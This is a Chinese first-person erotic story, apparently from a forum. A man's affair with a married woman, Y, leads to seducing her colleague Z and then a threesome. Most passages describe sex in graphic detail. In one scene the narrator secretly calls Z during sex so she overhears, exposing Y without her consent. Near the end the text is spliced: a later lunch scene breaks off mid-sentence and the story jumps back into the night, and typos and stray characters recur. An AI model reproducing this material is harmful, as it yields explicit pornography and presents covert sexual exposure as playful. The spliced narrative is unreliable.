我去洗个澡,从包里拿出件干净的白衬衫,顺便把Armani的香水也带上,

收拾干净,面对女人会更有自信,快洗完时,门铃想起,Y去开了门,多了个女

人的声音,Z来了。
  刚擦干的头发,男士香水,敞开的白衬衫,我觉得这样应该有几分性感的拉

门出去,看到Y和Z正在沙发上聊天,假意很吃惊。两个女人站了起来,Z面目

娇好,笑矜矜地望着我。Z居然有168左右,江南女子中算得异类,但仍不失

越女的温婉,着一身嫩绿浅花的连身裙,腰身剪裁得很贴合,曲线毕露;裙裾及

膝,未着丝袜,皮肤有着瓷器的光泽。
  Y介绍说,这是我们局里的大美女Z,我的好朋友;指着我脸泛红晕地说,

这人就不介绍啦,你知道的,Z倒是爽朗,说,果然是位大帅哥啊,难怪我姐姐

着迷,我岂是什么帅哥,中人而已,眼前桃红柳绿,吴哝软语,倒是一双璧人。
  三人相对,一时有些沉闷,我一时没把握猜透两个女人的底线,又按捺不住

地渴望终极艳事,本来会说的嘴巴,也有点找不到台词,恰好有点冷场时,服务

员叫门送餐,小餐桌推到床边支开,白色的餐布逐一摆放好菜肴,红酒,高脚杯

,然后那小男生彬彬有礼地告退,气氛一下就好起来了,我们愉快落座,窗外正

值华灯初上。
  Z先举杯祝我们浪漫相随,我回敬双姝更加美丽,一时以不同组合,各式祝

词,觥筹交错起来,几杯红酒落肚,渐渐烘动春心,我暗自思量,如何拿话来挑

正在犯愁间,Z闹哄哄地要我和Y喝个交杯酒,我笑着说我们相交很深了,再来

喝交杯酒岂不是小儿科,Y听懂我说相交很深是带着双关,呸了我一口,倒让这

句5Z话更加露骨。我站起身,Y也施施迎着我,我梢欠下身,两人臂弯拥着脖

子,来了个大交杯,我闻着Y的香味心花怒放,想起Y那开裆的裤袜,又想着若

和Z这样喝一杯,以她的身高,大概更加和谐,男人欲贪天下色,女F少怪。
  Z在一旁又是叫好,又是怪我们做作,秀恩爱给她看。我漏嘴说,要不我们

也来交个杯?说出立刻觉得不妥,忙拿眼睛去看Y,——喜新不厌旧才够绅士,

莫要伤到Y才好,但又想说了也好,看看Y的反应,若是接口往下撮合我和Z,

那么今天两个女人是来玩双飞来了,想把老子当鸭子;若是愠怒,倒还对我有些

真情,Z也只能梦里相会了。Y笑西西地对Z说,给姐姐个面子,让这臭男人便

宜一回,和他喝一个。我闻言心里正五味杂陈,腿上却传来一阵生疼,原来Y暗

地狠狠的拧了我一把,我不敢作声,却听Y有点冷冷地说,你们俩还不快喝?
  Z大概也听出Y的弦外音,说,才不要便宜他呢,你喜欢的男人你自己多喝

点,我才不来和你抢;我也连忙讪讪地把话岔开来,妄想既已破灭,脑子就清楚

起来。想想Y和我虽是露水一场,但她在床上婉转承欢,平时俨若情侣,给了我

很多美好时刻,我怎可初见Z就想另攀新枝?我俩虽没有说过海誓山盟的话,但

逢场作戏时也有许多甜言蜜语,轻易负她不似我平日所为,都怪平时黄书看多了

,想什么双飞的好事,这下得罪了Y,也让Z笑我孟浪!
  心态端正以后,不再去招惹Z,十分殷勤,七分给了Y,Y自然很开心,两

颊各飞一朵红云,眼神温柔流盼,似要滴出蜜来,我知道今夜自有一番缱绻,想

想Y那特意为我准备的裙内风光,不由心旌动摇起来。
  待会Z一走,就要把Y扔上床,直接把她的套裙撸起,隔着那条丝质小裤头

搓她的小肉头,看她怎样求饶。不过刚才已经湿了一次,骚味太重,若要吃她时

,还需脱光光去卫生间洗洗干净,——心里想把Y层层剥了舔吃,桌上的菜就没

心思动了,点上支烟,一手夹着,一手搭在膝盖上,箕坐在床沿。
  不料大腿随意一动,搭着的手碰到一片柔腻,是微凉光洁的皮肤,我知道那

是Z的腿,心头猛颤了一下,赶紧把手逃开偷看Z的神色,她仿佛没有注意到什

么,或许她不反感这样的触碰?——其实也就是无意碰到一下,但那种滑腻触感

带来的快乐,远远胜过KTV里满把满握的揉捏。
  我大起胆子,将腿靠拢刚才邂逅的位置,估计也就十多公分的距离,我却象

完成一次太空对接般的困难,脸上强作神态自若,心头却连连撞鹿。
  等我移动到刚才的位置,却没碰见Z的美腿,再靠过去点,还是没有碰到,

原来我有心她无意!
  我真想碰落一双筷子,好学西门大官人的招数,趁捡筷子时,去捏那双金莲

。念及此,暗暗侧过身子,去桌布底下看那双美腿。
  只见她一只脚斜斜撑着,着一双绿色浅口皮鞋,鞋子有繁复暗隐的云纹,低

调而精致,白皙的脚趾收拢在浅浅的鞋面里,露出一排嫩生生的趾沟;另一只脚

绊在这只后面,半脱出皮鞋,足弓底侧的粉红色隐约可见。
  愚以为,女人三种沟中,趾沟的性感一点也不亚于乳沟和臀沟。
  到趾沟,我还要罗嗦一句:设计这种浅口女鞋的人真是了不起的天才,懂得

穿这种鞋的女人多半有几分媚惑。不过,今年街上这样的鞋越来越多,真怕会象

黑丝一样,泛滥成灾,最后变成恶俗的潮流。
  Z的美腿美足让我魂不守舍,菜羹已残酒微醺,接下来Z该先走了,她满足

了见我的好奇,我留下春草一般的情思,一念至此,顿生愁肠,佳人尚在,天涯

已远,我能做的,就是频频侧身偷窥美妙绝伦的一双小腿。不知道她们俩各怀了

什么心事,竟也渐渐无话,房间里又安静了起来……
  我正瞥着Z的裙裾轻摆,分神之际,Y起身说要去洗手间,我被说话声稍一

惊,眼神从桌下抽回来,恰和Z四目相交,——凭我的第6感,与其说我们目光

偶然相遇,不如说她的视线早就在那处等我,我心头一热,耳听得转角处卫生间

门「卡塔」锁上,更是全身的血液往头上涌,要知道,这是唯一和Z独处的机会

,若要说什么做什么,那就该在此刻!
  但我脑中充盈了快乐和兴奋,同时冒险和犹豫也激烈交战。一个声音对我说

,快把握机会;一个声音说,别背叛Y;又一个声音说,你早就没资格考虑「背

叛或忠诚」;还有个声音冷静地说,小心是陷阱,两个女人设局考验你呢。
  一时间头绪纷繁,倒弄了个张口结舌,面红耳赤!
  我彷徨之际想把目光移开,反被Z的目光死死钩住,见我窘迫,她倒先开了

口,压低声音问,刚才看够没有?
  她一言甫出,顿时满室春光,她自己也脸上飞红,忙端起酒杯来轻泯一口,

却也遮不住她带笑的梨涡。
  原来早被她察觉到,既然她已挑明,那还等什么?等着来山上被判3年吗?
  当下再不多想,一手立刻从她裙摆处探入,我一边摸入裙中,一边柔声答到

,怎能看的够?怎能摸的够?
  Z的脸上红云更盛,忙用手把我那只还在向上溯流的狼爪拒住,小声地嗔到

,快拿出来,你胆子好大!
  虽是隔着裙布,被她玉手一握,我心里更热,哪肯抽出手来,先前知道绍兴

女人惯会欲迎还拒,手上加了把劲,想去占领那欲望的高地。
  我见再难深入,干脆以退为进,手向下一滑,滑过膝弯,顺势将她小腿抄起

,搁在我大腿上,来回轻轻抚摸,陶醉在那份柔腻的触觉中,Z也不再抗拒,微

微闭眼,鼻翼翕动,那一刻极其短暂,但我和Z仿佛沉醉了很久,直到卫生间传

来冲水声,Z忙把腿收回。
  Z说,别这样,被她看见不好。我心里发笑,想你刚才怎么不说这句话?
  卫生间里水笼头打开,我急忙抓过Z的手机,拨打一下我的号码,掐掉;卫

生间门「卡塔」打开,我堪堪将手机放回原处。
  Z背对着Y走过来的方向,朝我吐了吐舌头,莞尔一笑,脸上红霞兀自位散


  Y也不坐下,单跪在床沿,依在我肩头,我摸着她的手回头和她笑笑,见她

短发的样子顽皮可爱,隐隐有些愧疚。
  Y问道,你们吃好了吗?那意思,有点象逐客令了,这少妇大概有些想要了

吧。
  我这会又怕Z也感到这层意思,想找话岔开,忙对Y说,你看她的脸这么红

,别是酒劲上来了,我们泡点茶来喝吧。
  Y看看Z,笑道,哟,你平时这么好的酒量,今天怎么红成这样了?我接住

话说,面孔红通通,肯定想老公,桌子底下,我的脚被Z用力踩了一下,——一

会被Y拧,一会被Z睬,疼在身上,甜在心里。
  闲聊了几句,Z知趣地告辞,临别留下一句,让我晚上留点力气。Y当作一

句玩笑,两人闹纷纷地哄笑;我却别有理解,猜她是要我留下一份情来给她,这

么一想,胯下巨物傲然挺立。
  门才合上,我便抱起Y往床上一丢,自己脱去衬衫和牛仔裤,Y在床上媚眼

如丝,腻声说,要你,我来不及脱三角裤,扑上床便将她裙子撸上去,粉色的小

裤在开裆处,作最后一道遮掩我隔着小裤头在核心处一阵揉弄,已把布料湿透,

我刚想去拨开她裤边,却被她拉手起身,直拉到床边地下站立,Y主动来寻我的

唇,一阵湿吻过后,她开始一路向下吻去,最后跪了下去,把脸颊靠在我凸起的

部位,来回磨蹭,长长地呼吸。
  我低头看着她,只见自己白色的棉内裤高高地支起,她一张俏脸粉红,似有

火在暗暗燃烧,连露出的胸脯也呈红色了。
  我伸手去摸她的头,穿过短发,摸摸她的耳垂,她受到抚摸的鼓励,笑盈盈

地抬头看我,我见鼻子长得俏模俏样,忍不住刮了一下,她轻哼一声,低头隔着

内裤便将鹅含住,两手发力箍住我的屁古少妇真是有颗狂野的心,未过片刻,又

将我三角裤拉下,鹅蹦出来,打在她脸上,那活物还在晃动不已时,已被她一口

含住,令我顿觉陷入温暖的软泥中,——有一回洗泥浴,大致便是那么舒爽!
  少妇品咂了一会儿,吐出,冲我笑笑说,等我先去洗洗,——这样甚好,我

喜欢先把女人洗干净,去除异味,方可以弄个尽兴。
  Y背向快速脱去裙袜和衣服,只着三点,翩然走进浴室。
  Y的胸不算小了,但背却很瘦,有条很好看的脊沟,靠近沟的下端有两颗痣

,反显出皮肤的白来;沟的上段,乳罩的带子正好跨过,象座白色的小桥,Y扭

着PP走进去,搞得我心神荡漾,自己撸了两下,稍稍慰问一下。
  等她洗了一阵,我也走了进去,美人洗澡的景致,怎么能错过。
  我闪进去,热水从头浇下,Y将我拉开一点,躲过水幕,帮我也涂上沐浴露

洗起来,洗到脐下三寸,Y将它一手握住,借着沐浴露的润滑前后套弄,时而放

开它,却去温柔地把玩两只油面筋,这样来回数次,我几欲喷发,我赶忙将Y转

过身来,背对着我,好叫她无从下手,我却将手绕至她酥胸前,将我俩前后贴紧

,——我将肉香蕉侧过来,也紧贴在她背上,我们开始慢慢摩擦,贴合处皆是的

滑滑的;互相乱摸,着手处也尽是滑滑的感觉我俩渐磨渐快,欲望的火焰也越升

越高,我顾不上摸别地方,但将两手占据她的胸前,或轻轻地感受她的圆润,或

重重地体味她的弹性;她似全身酥软无立,用两条手臂勾住我的头,仰起细长的

脖子任我亲吻她的肩窝。
  脚下一个散乱,我俩退入水幕中,水哗哗地洒下,又飞溅成千万颗细小的水

珠,分不清是从谁的肌肤上弹起,都在灯光中飞舞,「月照花林皆是霰」,——

可有几分相似处?
  沐浴露的泡沫渐冲去,我扳过Y的身体,去含弄她的蓓蕾,一些水流顺着那

弧度进了我嘴里,我兴奋已欲狂,将水吞下继续舔食。
  Y被我弄得丝丝吸气,突然将我的头抬起,在我的脖子上咬住,良久不松嘴

,身体紧紧贴住我,大概是到了一次。
  我给Y一个长长的拥抱,这是女人高潮后最需要的,但自己的欲望还没有消

退,大大的家伙顽固地挤在我们中间,过了一会,Y缓过劲来,小手又开始摸索

,我便让她扶着那面玻璃,稍稍分开腿来,我自己蹲下一点,一耸而入。
  大概贪图更深,Y将臀撅起来凑,这样一来,她干脆将脸和胸贴在玻璃上,

可惜我无法分身,否则真想在玻璃外欣赏两只挤扁的RU房。
  她前面到过一次,我也就不用再照顾她,干脆将她一条腿抄在手中,也不说

话,一味猛干起来。
  周围全是静默,只有哗哗的流水声和偶尔响亮的撞击声,我不敢低头逼视颤

动的臀肉,去仰天看那喷薄而出的水线,想着逝者如斯,而我的青春也只化作一

次次激情艳遇的回忆,别无痕迹。
  原始的快乐渐渐如潮头涨起,趁雷霆之怒,夹风带雨夹冲击堤坝,几番之后

,终于溃堤而去……
  我们回到床上,相向而拥,她尽量倦曲着,象婴儿在母体的姿势,我也倦曲

着,贴合着这个旅游捡到的宝贝,风暴过后,我们安静地聊着家常,基本上是她

说我听,听她讲前年父亲病故时的伤痛,形容丈夫的模样和性格,描绘机关同事

间的倾轧……生活的细节让怀里的女人更真实起来,说话间,手机响了,有条短

信进来,——手机放在Y那侧的床头柜上,本不想看,又下意识觉得应该看一下

,——请她递过来,打开一看,已有2条未读信息,是个陌生号码。大意如下:
  短信2:刚才胆子那么大,现在当她的面短信也不敢回了?
  往前翻,短信1:坏男人,在干嘛?
  我心里发一声笑,Z在咬钩了。
  不过总感觉有点太快,女人和男人燃点不同,任你脂粉班头,风月老手,也

难让她们片刻之后倾心于你。潘、驴、邓、小、闲,她要是图其中一样我倒也塌

实,想来想去我也没什么可让她图的呀?
  我将手机丢在枕头边,暂不去理会她。
  Y自然不知道我在想什么,只顾说她的。
  只听她说道:「我们单位的党委书记可讨厌了!」
  我随口接道:「怎么了?」
  「老色鬼,经常揩油。」
  「许我揩不许人家揩呀?」
  少妇拍了我一巴掌,接着说:「去年吃年夜饭,大家喝了不少酒,饭后包了

个舞厅去玩,他和我跳舞时手不老实,把我的P股搂得紧紧的。」
  「好过分!」我表示愤慨,「那里还顶着我。」
  我听了居然有点兴奋,也顶了她一下,问:「哪里呀,是不是这里顶的?」
  「啊呀,你好坏哦,没有同情心,不理你。」
  我不理她的话,下面开始起来了,抵紧了她两腿间,有问:「他的大不大?


  「恩……不知道。」
  「有我那么烫吗?」
  「没有,哦!」
  「有没有顶到你这里?」我已经抵住了她的要害,湿湿热热的感觉传来,「

没有,讨厌死了,你。」她将身体扭了两下,分不清是在逃避还是调整一个更好

的位置。
  俩人已有默契,几下子就滑了进去。
  这个体位不能深入,只能把一个螺头滑进滑出,有个好处,倒是我能充分享

受她的咬合力,她能仔细感受我的粗细,不一会工夫,突起的那一圈就被她刮得

酸胀,她也被那个圈撩得难耐极了,开始断续地出声我说我要不行了,再找个男

人一起来好不好?她说不要,我停了下来,说我真的坚持不住了,得歇一歇,她

含混答应,但不停扭动,我说现在我就是你们书记了,让我进去吗?她赶紧同意

,说快点进来,我将身体朝后挪了挪,和她几乎呈90度,一下滋到深处,惹得

她失声大叫恰在此时,电话铃又响,抓来一看有是Z的短信,「知道你们在干什

么,就是故意骚扰你们,嘻嘻,好好玩吧,不打扰了。」
  人在那样的状态之下,根本顾不上思考,不知道哪起来的邪念,按了下回复

电话,塞回枕头底下……
  早些年上欢欢的时候,仿佛看到过这样的情节,没想到居然会被我用上了。
  我稍稍放缓,估摸着那边快接通了,就使出浑身解数,直弄得Y长哼短吁,

我仍觉不够,不住地问她喜欢我吗?喜欢我CHA吗?还要更深吗?我情绪高涨

,每发一问,Y也兴奋地大声肯定,几十下后,我在Y的莺声燕语中结束了风暴


  赶紧伸手到枕头底下,按掉电话,还怕有隐患,干脆关掉手机。
  今年9月份的一个中午,正在KDS上潜水,仿佛那天天气不错,微微有点

凉,我起身关掉扇窗户,在短袖外套了件针织背心,刚要坐回去,接到Y的电话

,说她此刻就在上海,下午就跟公司的车子回去,言下之意,约我见个面,我问

清她的位置,赶忙定好愚园路长宁游泳池边的餐馆,自己先急急赶到,找了个露

天座位,把菜点好,烧起一支香烟,心情复杂地等待女人的到来……
  女人赴约总是姗姗来迟,不过想到她们见你之前必须照上100遍镜子,那

么多等一会,其实是种荣幸,我无聊之中,望着指间袅袅青烟定定地出神,思绪

瞬间回到了1年多前那个离奇的夜晚。
  昏黄的灯光,椅背上搭着的衣裤,皱皱的白床单,两具赤裸的肉体,象极了

一幅电影海报,我仰躺着,Y俯身趴在我边上,用一根手指头在我胸膛上画着圈

,——她大概在享受暴雨过后空气的芬芳,我却暗怪自己刚才有些太卤莽,——

Z到底听到没有,她会怎么想,她以后会怎么给Y说,会不会把不好的影响带到

Y的生活中去?
  虽然,老实说,Y和Z并不是我生命中不可失去的女人,但是……我心里非

常忐忑。
  我把一条胳膊摊开,Y很默契地将头枕上来,我侧身将她拥得紧一些,她的

身体也侧了过来,挤出一条深深的RU沟。我用手指托住RU房的下沿,轻轻掂

了两下,——Y的RU房让我很迷恋,总是百玩不厌。
  电话铃想了起来,我不太想打破安详的气氛,拥着Y的手臂没有松开的意思

,Y顿了顿,还是将我轻轻推开说,大概是她老公的电话,说完便溜下了床,一

跳一跳地去拿电话,我见她胸前两只白兔也随之起伏不已,有点邪恶地开始想象

她老公在电话那头的样子,不过随即冒出另一个念头,叫我厚道一点,不可以这

样欺负人家。
  Y接起电话,叽叽喳喳地用绍兴话说开了,——那一带的方言,讲的慢一些

再结合上下文,我是能听懂的,但是他们这样刮啦刮啦地讲,我多半如坠云雾里


  只听Y开始还讲得高兴,慢慢开始说得少听得多,脸色也阴沉下来。我觉得

有点不妙,猛然意识到可能是Z来的电话,这女人,行事风格怎么如此生猛!
  只听Y啪的一声合起电话,拿起椅子上的衣服,一件一件地穿起,也不说话

,这时我基本能猜着个七、八分了,想想任何辩解也是徒劳,干脆也不说话,穿

起内裤,坐在床边等她发作。
  待Y全部穿好,拎起包包就朝门走去,「你去哪?」我问,「回家。」「深

更半夜,你身上有我香水味道,怎么回家?」
  被我一说,Y眼圈一红,落下泪来,怪我道:「你为什么要这样做?传到单

位里去我还怎么做人?」
  我也后悔当时卤莽,不过多说无益,只问说:「她在电话里说什么?」
  「说她全部听见了,夸你好厉害,总之你们背地里对上了眼,别将我扯在中

间,我现在就回家,给你们腾地方。」
  她一副梨花带雨的样子,楚楚可怜,反惹得我柔肠百转,先前一心想求新欢

,这时却立志呵护好旧爱,主意一定,便对Y说,你哪里也别去,好好在这里待

着,我来处理这事。
  当下开了手机,给Z拨了过去,电话那头等待音响起,我心里也很矛盾,不

知道接通了该说什么好?自己和她一起疯的,不能去指责她吧?
  却被Y把手机拿过去,听她说了一些话,最后用国语说了句:「你还是上来

吧,你们两个神经病一起给我道歉。」说完将电话还给我,见我十分错愕,她说

前面那个电话里,Z说她一直没回去,就在一站路外的咖啡馆里坐着。
  趁Z还没上来,Y说了些关于Z的佚事,仿佛倒在为她开脱,我心里好笑,

心想你不介意了我就更无所谓,偷眼看Y的脸色,也不象还在生气的人了。
  门铃再度响起,我早已穿戴整齐,忙去将门打开。走廊里的灯光一下子铺射

进来,我眼睛一时不适应,晃眼间,但见Z一袭绿衣,亭亭玉立地背光而立,光

晕笼罩之下,美丽不可方物。
  Z见是我,低头抿嘴,也不理我,从我身边擦过,径向Y快步走去,我回头

看时,桃红柳绿再度并立,一时叫我恍惚不定:如此良人佳丽,方才正是我淫戏

之人?
  只听Z娇声道,姐姐不要生气,都怪他不好,我本来就在羡慕你们成双结对

,他还那样来惹我,我也会受不了的,——声音渐渐低不可闻。
  「先生,冷菜给你上一下。」服务生的话打断了我的回忆,冰镇黄酒鸡、四

喜考夫、桂花糖藕,——他们家的本帮菜非常地道,在配上老洋房的环境,是向

外地朋友介绍上海文化的一个好去处。
  我向服务生点头应允,恰看见Y从院门里进来,紧身牛仔裤,白色慢跑鞋,

白T恤,还是那样的短发,我正要挥手,她已经看到我,笑盈盈地走来。
  Y今天的装束显得分外青春活力,我忍不住发挥口才,大大地恭维了一番,

她自然受用,一阵花枝乱颤后,却幽幽地叹到,「你只会甜言蜜语哄我,1年多

了,怎么不见你主动联系过我?」
  我说联系得太紧,怕自己会爱上她云云,搪塞了几句,知道她也不会信,心

里暗自叹息「也别怪我无情,『人生若只如初见,何事秋风悲画扇,等闲变却故

人心,却道故人心易变』,邂逅的美丽,也就在于初见之时,一回鲜,二回熟,

三回就有点乏味了。若再碰到不明智的,日子一长动些真情,岂不生出些额外的

烦恼?」小弟是有原则的人,再好的酒,只饮三碗。
  一会儿,热菜也渐次上来,有份熏鱼是我最喜欢的,老早过年的时候,爸爸

妈妈买回青鱼段,为了年三十吃新鲜,会在小年夜里熬夜赶制,我给Y夹了一块

,叫她趁热吃,介绍说,这家的熏鱼是现做的,热的时候肉质酥松,饱含蜜汁,

她连忙咬了一口,连连称赞,我突然凑到她耳边说,我吃你的时候就这口感,她

听了俏脸通红,瞪了我一眼,却问,「你后来背着我和Z联系过吗?」
  1年多来,我没和Y见过面,至于Z,甚至连电话也没有打过。
  07年绍兴的那个晚上,好象有阵冷空气下来的,——因为记得Z说,她没

有叫到车,走了一站路过来,街上突然起了风,吹得好冷路好长,Y关切地叫她

赶紧去洗个热水澡,那姐妹情深的样子还真不象是装出来的。
  我仍旧沉浸在肉厚汁多的熏鱼带来的联想中,用这个联想调侃Y其实也是对

她的一份赞赏,我至今惊异于少妇在性事方面的潜力,并因为她那一晚的表现而

对她感激不已。
  Y见我吃得有点沉默,问我在想什么,我说我在想那天我们好疯狂,但不知

道你怎么会肯的?
  Y听我提起这一茬,娇羞地将头低下,——我迷恋这个妇人的,就是她在夜

里尽情绽放,又在白天不胜娇羞。
  半晌,她似乎想好了答案,看着我坚定地说,「我知道我们没有未来,可能

也不会长久,所以在一起的时候,就要开心。」
  逢场作戏也不是一两次了,但闻此言,还是被小小感动了,女人能这般通达

,当是我的福气。
  我敬了Y一杯,自己先干了,微笑着看她喝完。阳光下,Y的眼角爬上了几

丝不易察觉的鱼尾纹,我坏坏地想,如果把这个细节用大光圈定格下来发到山上

,估计叫阿姨、菜皮的TF至少会有两页吧,不过,熟妇的好,只有「懂的」人

,才会发出会心的不过女人到了这个年纪,会越老越快了,——1年以前,我曾

在灯下那么仔细地将她看遍,那时光洁的脸庞上绝对没有岁月的痕迹,Z进去洗

热水澡了。
  我的心猛烈地跳动了几下,有一下几乎要跳出腔子,一种兴奋到要窒息的感

觉,传说中才有的双飞,本人艳遇史上的重大突破,眼下就要发生。
  我定定神,知道还有一件事情没解决,一龙二凤的好事就是张窗户纸了,但

即便是张纸,也要有人捅破呀,我不见得等Z洗好出来就对人家动手动脚,万一

会错了意呢?
  Y正站在一面茶色的长镜子前,不知是不是看透了我的心思,飞了我一眼,

似嗔带笑,似笑含怨。我走到她背后,伸手搂定她,在镜中看她那张粉脸,——

她也在镜中含情地看我。
  茶色镜上方有两盏射灯,长长的金属灯脚弯曲着,象昆虫的触角。我把两只

灯脚都拧向上方,镜子失去了直接照射的光线,里面的人像变的柔和起来,好象

正在上演怀旧老片;室内的空气仿佛也有了咖啡的味道,香浓顺滑。
  暧昧的空气胜过任何多余的语言,我感到身体里的火苗重新点燃,渐渐燎原

,Y的春潮再度暗涌,虽然镜中浅浅的微笑没有丝毫变化,但既然在我的怀中,

又怎么逃得过我的直觉?
  我帮她褪掉丝袜,除掉内裤,她默默地配合着;再叫她穿回丝袜,这回被她

轻轻捶了一下,她既然读懂了我的坏念头,那么就是最好的挑逗了,我等她自己

拉匀连裤袜,向她中间一摸,果然已是夜露正浓了Y推搪说Z快要出来了,我心

想就是要她看见才好顺利切入正题,嘴里却说我们快快地来一次,见她不再反对

,我把椅子拉到镜子前,自己将裤子脱到膝盖,坐到椅子上去,叫Y分开腿,跨

坐在我上面,蜡烛是我的,蜡烛油是她的,我们合伙开张起蜡烛买卖来,这个姿

势彼此很省力,也很深入,但有两个缺点我不喜欢:我的头埋在她胸前,太闷;

视线被阻,少了份刺激。
  我令她转过身,顺便脱掉衣裙,只剩了BRA和开裆丝袜,我则在椅子上挺

直了身体,Y大概觉得这样比较有趣,笑着跨上我,低头扶住我的蜡烛,再次将

蜡烛油倒浇了上去。
  我们的蜡烛铺面清楚地暴露在镜子中间,丝袜将女人的腿型修饰得很漂亮,

而我绷紧的肌肉也蒙上了层巧克力色,具有雕塑的美感,少妇被我强令着一起欣

赏镜子中的动画,大概是受了这份视觉刺激,起伏得更加卖力起来。
  Y虽然如此卖力,我却离爆发还很远,主要是三分魂灵在当前,七分魂灵在

浴室里,——那边厢洗澡水关掉有一会儿了,Z这会在干什么呢?待会出来撞见

了这场面,她又是什么反应呢?
  这是我从来没经历过的,饶得是平日智机百出,也不由地紧张起来。
  我使劲抬腿挪了挪,以便稍稍侧身,好借助镜子的反光看见卫生间的门,却

发现,那门留了道缝,并未关严,——我分明记得Z进去的时候有落锁的声音。
  呵呵,定是她偷偷在看外面的情况,借着镜子,估计能将我们看得很清楚。
  那就让你看个够吧!我很方便地摘掉Y的乳罩,一手一只肉球捂住,将Y的

身体向后扳,直到靠在我胸脯上,小嘴也将香蕉扳起,不能象刚才那样深入,却

很夸张地呈现在镜像之中。
  Y被我双手捂胸,动弹不得,却又正是最难耐时,两只手抓紧了我大腿两侧

,将下体和我痴痴缠绕,我怕被她缠到爆发,只好轻声提醒到,Z大概正在看我

们呢,Y听后清醒了几分,忽然将我从她身体里退出来,跑回床上躲进被窝里说

,你快去找她。
  这份上也顾不上许多,我大剌剌地去推卫生间的门,胯下闪亮的武器兀自挺

立晃动,Z已知道我要进来,拿浴巾挡在胸前,站在雾气腾腾的浴室中,等着她

的君主前来临幸,那条浴巾半遮半掩反而让眼前的裸美人更加秀色可餐。我微笑

上前,将她横身抱起,浴巾随之落下,我转身走回卧室,将她丢在Y的旁边,大

床上,一位美女掩隐在雪白的被子下,吃吃地笑着;另一位美女玉体横陈,羞得

拖个被角盖住脸面。——这是怎样撩人的活色春宫啊!
  一帝二妃虽是生平头遭,但既然这个游戏中,我为帝二女为妃,那就由我主

动,无须再作扭捏,当即分开Z的两条长腿,学那蜜蜂去花蕊中采蜜,一只手向

她颍长的身体游了上去,——Z的身体又是另一番好处,小腹更加平坦,MIM

I不如Y的大,但弹性十足,我这才刚刚摸索,她已扭动起来,我稍停止饮蜜,

叫Y也来摸Z的椒RU,Y听话地俯身来摸她同事,不想Z也不甘示弱,也腾出

一只手去托住Y垂下的白球,两个女人自己嬉闹起来。
  我得此空隙,也把自己脱个精光,但见斗室之中,肉光一片,无边春意洋溢

而生,Y白皙而丰满,Z修长而紧绷,嬉戏之时,四条藕臂缠绕,四座山峰对出

,娇喘未定,颜色艳若夏荷,吐气如兰,芬芳氤氲满室,嬉笑之声,婉转而如百

鸟投林,我刚才已有两度梅开,此刻也不急于提枪跃马,但将宝物握住,笑吟吟

赏尽这人间春色,至哉舜圣,得俄皇女英共伺;孝成何幸?偕飞燕合德同欢;最

可笑曹家阿瞒,被东风烧败,江隔二乔,铜雀空锁。
  我虽是籍籍无名之辈,却也能拥有自己的风流美谈,老天真是厚顾。
  正当我苦苦追思古代双飞达人的时候,Y唤我一起「收拾」Z,我忙赶入战

团,Z也半推半就,任我俩扑倒,且将腿分开,拨开那荷叶边,中间一抹花蜜早

已包夹不住,手指一试,便牵出蛛丝来,我那耸立的危岩,本待一贯而入,转念

一想,三人之乐,不可太过寻常,须化简为繁,花样叠出,便叫Y帮我分开荷叶

,我的巨龙擦过她的指尖,再归于Z的巢穴。如此一来,三人的视感触感交织在

一起,再排列组合一番,别有一番奇妙滋味。
  我见场景如此淫糜,心意快要飞散出去,赶紧小心收摄心神,不敢大意,只

将巨龙慢慢进出。Z舒服得将腿夹紧,却把Y的手指夹拢,挨挨擦擦地靠着我的

龙身。小龙进进出出地带出些白水来,润滑无比,将Y的手指从荷叶上滑下,却

正好捉住我的小龙,数度之后,Y也不去分开Z的肉荷叶,玉手直接圈住我的尘

根,闭上眼睛,遐想着那份磨擦。
  我见Y也动情,稍稍直起身,将她搂近,吻上她的嘴唇,她忙吐出香舌任我

品咂,身体也不由地扭动起来,我的小龙不会分身数,只好先委屈旧爱,将两根

手指暂时替代,Y扭动更加剧烈,我心中有愧,不忍她空巢太久,便指挥Y俯身

搂抱住Z,两个女人初次裸体相拥,有点别扭,但如今二女共事一夫,也格外顺

从,两人搂抱在一起,分别将头别过,少了点刚才嬉闹时的轻松,我从后观之,

两处桃源,并蒂莲开,问到,我要上上下下跑进跑出咯?Y轻声说了句,随你怎

样都可以,Z也恩了一声。
  得到许可,我也省去了换次房间换次衣服的麻烦,鼓起全部精勇,上下求索

,左右逢源,如水田里的鳅鳝,才出土隙,又入泥穴;也象在吃西式自助餐,才

尝了千岛汁,又试试恺撒汁。
  我把手掌从两个女人身子中间插入,费力地上下移动,手心手背是两个不同

女人的温热肉体,感觉真是奇幻,小龙也没有片刻休息,继续游走于两片茂林深

处,交换之间,停顿虽然短暂,但情绪却分外微妙。每次抽离,是一个女人的留

恋,每次进入,是另一个女人的渴望;用它山之水,润泽另一乡的幽谷,带一泓

泉水的温度,累积另一眼泉水的沸点。
  我奋起神威,这坡行云,那坡布雨,忙了个不亦乐乎。
  小龙仿佛比平日更大更长,似膨胀到了极点,欲望也膨胀到了极点;身下交

叠的女人也渐渐搂抱不住,象是因为脱力而要各自散开,又象是为了攀上某个高

处而扭动不已;耳边两种叫声缠绕,此起彼伏,我也忍不住地哼出声来,Y先退

出战团,滚至边上自己喘气去了,我少了个对手,便专供Z的桃源,全部本领尽

让她领教,直到她将我盘紧,口中声不能出,我也不再坚持,三春雨露,尽施于

她这块新田。
  我翻身躺在两姐妹中间,将她们的头左右拢在胸膛上,自己仰望着天花板享

受生命的中最宁静的时刻,——如果天花板上有个照相机将这一刻记录下来,该

是多么杰出的作品!
  雨横风狂三月暮。门掩黄昏,无计留春住。
  泪眼问花花不语。乱红飞过秋千去。
?